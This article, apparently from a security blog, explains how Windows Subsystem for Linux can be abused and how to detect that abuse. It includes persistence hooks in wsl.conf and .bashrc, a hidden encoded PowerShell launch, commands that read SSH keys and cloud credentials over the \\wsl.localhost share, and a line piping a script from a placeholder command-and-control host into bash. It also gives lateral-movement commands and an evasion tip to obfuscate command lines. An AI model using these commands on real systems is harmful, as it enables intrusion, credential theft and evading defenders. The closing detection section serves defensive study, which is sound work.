Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
The Windows Subsystem for Linux lets a genuine Linux userland — and, in WSL2, a real Linux kernel running in a lightweight utility VM — sit side by side with Windows on the same host, sharing the same filesystem and user session. For developers this is a productivity win. For an attacker who has landed on a workstation, WSL is a second, semi-independent execution environment bolted onto the machine: it has its own binaries, its own package manager, its own shell history, and — crucially — a set of interoperability bridges that let Linux processes launch Windows programs and let Windows access the Linux filesystem. Each bridge is a boundary that security tooling built for one side may not fully watch from the other.
The security relevance of WSL is twofold. It is an attack surface — new code paths, a second credential store (SSH keys, cloud tokens, .bash_history), and cross-OS execution primitives that enable persistence and lateral movement. And it is a defense-evasion vehicle: wsl.exe is a signed, Microsoft binary that can run arbitrary Linux commands, and the WSL2 root filesystem lives inside an ext4.vhdx image that many Windows AV/EDR products historically did not inspect with the same fidelity as NTFS. This article maps the WSL boundaries, the misconfigurations that make them dangerous, and how defenders regain visibility.
Attack Prerequisites
Most WSL abuse assumes the attacker already has code execution as a user on the Windows host, or conversely inside a WSL distribution, and wants to cross the boundary or hide activity:
- WSL installed and a distribution provisioned —
wsl.exepresent and at least one distro registered (wsl -l -v). On recent Windows it can be installed on demand with a single command by any admin. - Interop enabled (the default) —
/proc/sys/fs/binfmt_misc/WSLInteroppresent, allowing Linux processes to execute Windows.exefiles directly. - Automount enabled (the default) — Windows drives mounted under
/mnt/c, giving WSL read/write access to the host NTFS filesystem. - For host->WSL data theft: access to
\\wsl$\/\\wsl.localhost\or to the backingext4.vhdxunder the distro’s packageLocalStatedirectory. - For persistence: write access to
~/.bashrc,/etc/wsl.conf, or the Windows Startup folder via/mnt/c.
How It Works
WSL2 runs the Linux distro inside a managed Hyper-V utility VM, but presents it as tightly integrated with the host. Two interop mechanisms do the integration. First, binfmt_misc registers a handler (WSLInterop) so that when a Linux process execve()s a Windows PE binary, the kernel hands it to the WSL interop layer, which launches it on the Windows side. That is why /mnt/c/Windows/System32/cmd.exe or calc.exe “just works” from a bash prompt — a Linux process can spawn Windows processes at will. Second, automount and the 9P protocol server expose the two filesystems to each other: Windows drives appear under /mnt/<letter>, and the Linux filesystem is reachable from Windows via the \\wsl$\<distro> and \\wsl.localhost\<distro> UNC paths served by a Plan 9 file server the WSL service runs.
These bridges create bidirectional opportunity. From Linux to Windows, a compromised WSL process can drop a payload into the Windows Startup folder via /mnt/c/Users/<user>/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup, or invoke powershell.exe directly to run Windows tradecraft — all originating from an ELF process that Windows EDR may only see as a child of the WSL utility-VM plumbing. From Windows to Linux, an attacker who has the user’s Windows session can read the entire Linux home directory over \\wsl.localhost\, harvesting ~/.ssh/id_rsa, ~/.aws/credentials, ~/.kube/config, and ~/.bash_history without ever running a Linux process. The WSL2 root filesystem is stored as a single ext4.vhdx under %LOCALAPPDATA%\Packages\<DistroPackage>\LocalState\, which can be copied wholesale for offline analysis.
The evasion angle follows from the architecture. Because Linux system calls in WSL2 are serviced by the utility VM’s kernel rather than the Windows kernel, user-mode API hooks and many kernel callbacks that Windows EDR relies on do not observe activity happening *inside* the Linux environment. wsl.exe itself is a trusted signed binary, so wsl.exe -e <command> or wsl.exe bash -c '<command>' is a living-off-the-land primitive: the interesting work executes in a context the Windows sensor sees only obliquely, as traffic through wslhost.exe / wslservice.exe.
Vulnerable Code / Configuration
The most abused piece of configuration is /etc/wsl.conf, which controls boot behavior and interop. A [boot] command (honored on WSL2) runs as root every time the distribution starts, making it a clean persistence anchor:
# /etc/wsl.conf — runs on every WSL2 start, as root.
[boot]
command = /usr/local/bin/beacon.sh
[automount]
enabled = true # Windows drives under /mnt/c (default)
[interop]
enabled = true # allow launching Windows .exe (default)
appendWindowsPath = true
User-level persistence needs no root at all — the shell startup files run whenever the user opens a WSL session, and from there Windows binaries are one line away:
# ~/.bashrc — fires on every interactive WSL shell.
# Uses interop to reach across into Windows and establish Windows-side
# persistence by dropping a shortcut in the Startup folder.
STARTUP="/mnt/c/Users/$USER/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
cp /mnt/c/Users/Public/update.lnk "$STARTUP/" 2>/dev/null
# Or invoke Windows tooling directly from Linux:
powershell.exe -nop -w hidden -enc <base64> &
From the Windows side, the enabling condition is that the Linux home directory is exposed as a UNC share with the user’s own permissions. Credential theft needs only file reads — no Linux execution, so no Linux-side telemetry:
:: Windows-side harvesting of WSL secrets over the 9P share.
dir \\wsl.localhost\Ubuntu\home\dev\.ssh
type \\wsl.localhost\Ubuntu\home\dev\.aws\credentials
type \\wsl.localhost\Ubuntu\home\dev\.bash_history
:: Or grab the whole filesystem image for offline triage:
copy "%LOCALAPPDATA%\Packages\CanonicalGroupLimited.Ubuntu_79rhkp1fndgsc\LocalState\ext4.vhdx" C:\Temp\
Walkthrough / Exploitation
A realistic evasion-focused workflow uses wsl.exe as the launcher so that the payload executes in the Linux context. First confirm WSL is available and which distros exist, then run tradecraft through it:
:: Recon from a Windows shell.
wsl.exe -l -v
:: Run a Linux command without ever dropping to an interactive shell.
wsl.exe -e /bin/bash -c "curl -s http://c2.example/x | bash"
:: Reach back into Windows from that same Linux context if useful.
wsl.exe -e /bin/bash -c "/mnt/c/Windows/System32/whoami.exe"
For a persistence chain that survives reboots, plant the [boot] command in wsl.conf (root) and a .bashrc hook (user), giving two independent triggers. Because WSL distributions do not auto-start until first invoked, pair this with a Windows-side trigger — a Startup shortcut that runs wsl.exe — so the Linux environment is actually launched at logon:
:: Windows Startup shortcut target that boots the distro (and thus wsl.conf).
wsl.exe -d Ubuntu -e /bin/true
:: The [boot] command in /etc/wsl.conf then runs as root inside WSL,
:: and ~/.bashrc fires on the first interactive shell.
The cross-boundary data path is the most impactful in practice. Having read ~/.ssh/id_rsa and ~/.kube/config from \\wsl.localhost\, the attacker pivots to internal hosts and clusters using credentials the developer kept exclusively inside their Linux environment — assets a Windows-only credential sweep would have missed entirely:
:: Offline, after exfiltrating the keys, reuse them for lateral movement.
$ chmod 600 id_rsa
$ ssh -i id_rsa dev@10.0.0.20
$ KUBECONFIG=./config kubectl get pods -A
Each step relies on documented WSL behavior. The technique’s value is the seam between two operating systems in one session: persistence anchors and credentials on one side, execution and visibility gaps on the other.
Note: WSL1 and WSL2 differ in ways that matter. WSL1 translated Linux syscalls into Windows NT calls in a pico-process, so its activity was more visible to Windows kernel sensors; WSL2 runs a real Linux kernel in a utility VM, moving syscall handling out of the Windows kernel’s view. The
ext4.vhdxbacking store and the9P/\\wsl.localhostshare are WSL2 constructs. Confirm the version withwsl -l -vbefore assuming a given telemetry source applies.
Opsec:
wsl.exeinvocations are logged as ordinary Windows process creations (Event ID 4688 / Sysmon Event ID 1) with a Microsoft-signed image, which helps them blend in — but the command line is captured if command-line auditing is enabled, so obfuscate accordingly or expect thebash -c "..."argument to be visible. Reading\\wsl.localhost\files leaves object-access traces only if file auditing is configured on the 9P share, which it rarely is.
Detection and Defense
Visibility into WSL requires deliberately instrumenting both the Windows side and the Linux side, because neither sensor sees the whole picture alone:
- Alert on WSL launch primitives — process creation (Event ID 4688 / Sysmon 1) of
wsl.exe,wslhost.exe,wslservice.exe, andbash.exe, especially with-e/-ccommand lines or unusual parents; enable command-line auditing so arguments are captured. - Instrument inside the distro — deploy Linux telemetry (auditd, an EDR Linux agent, or
sysmon-for-linux) within WSL distributions so ELF execution and file access are actually recorded. - Govern WSL by policy — WSL 2.x integrates with Microsoft Defender for Endpoint plug-in visibility and supports enterprise controls; use Group Policy/Intune to disable WSL where it is not needed, or restrict which distros and features (interop, automount) are permitted.
- Watch cross-boundary writes — monitor creation of files under the Windows Startup folder and modifications to
/etc/wsl.confand shell rc files; both are persistence anchors. - Protect the credential stores — treat
\\wsl.localhost\access and copies ofext4.vhdxas sensitive file operations; educate developers to keep secrets out of plaintext dotfiles and prefer credential helpers. - Network egress controls — WSL2 traffic is NATed through the host; apply the same egress filtering and DNS monitoring you use for the host so C2 over WSL is not a blind spot.
Real-World Impact
Security researchers and vendors have repeatedly demonstrated malware and loaders that run inside WSL to evade Windows-centric detection, and the technique is catalogued by MITRE ATT&CK under T1202 (Indirect Command Execution) and related living-off-the-land patterns. Public research has documented ELF-based loaders that call back into Windows via interop, precisely because the Linux execution context sat in the sensor gap. Just as important in real engagements is the credential angle: developer workstations routinely store SSH keys, cloud tokens, and kubeconfigs only inside their WSL home directory, so a Windows compromise that ignores \\wsl.localhost\ leaves the most valuable secrets on the table. Microsoft has responded by adding enterprise management and Defender integration for WSL, an acknowledgment that it is a genuine, managed attack surface rather than a niche developer tool.
Conclusion
WSL places a second operating system inside the Windows session, joined by interop and shared-filesystem bridges that are convenient by design and porous by consequence. Offensively it offers persistence anchors, a rich secondary credential store, and an execution context that legacy Windows sensors watch poorly; the signed wsl.exe launcher ties it together. Defensively the fix is not to fear WSL but to treat it as the managed attack surface it is — instrument inside the distro, audit the launch primitives and cross-boundary writes on the Windows side, govern its availability by policy, and extend egress and credential-hygiene controls across the seam so the two operating systems are covered as one host.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:
Comments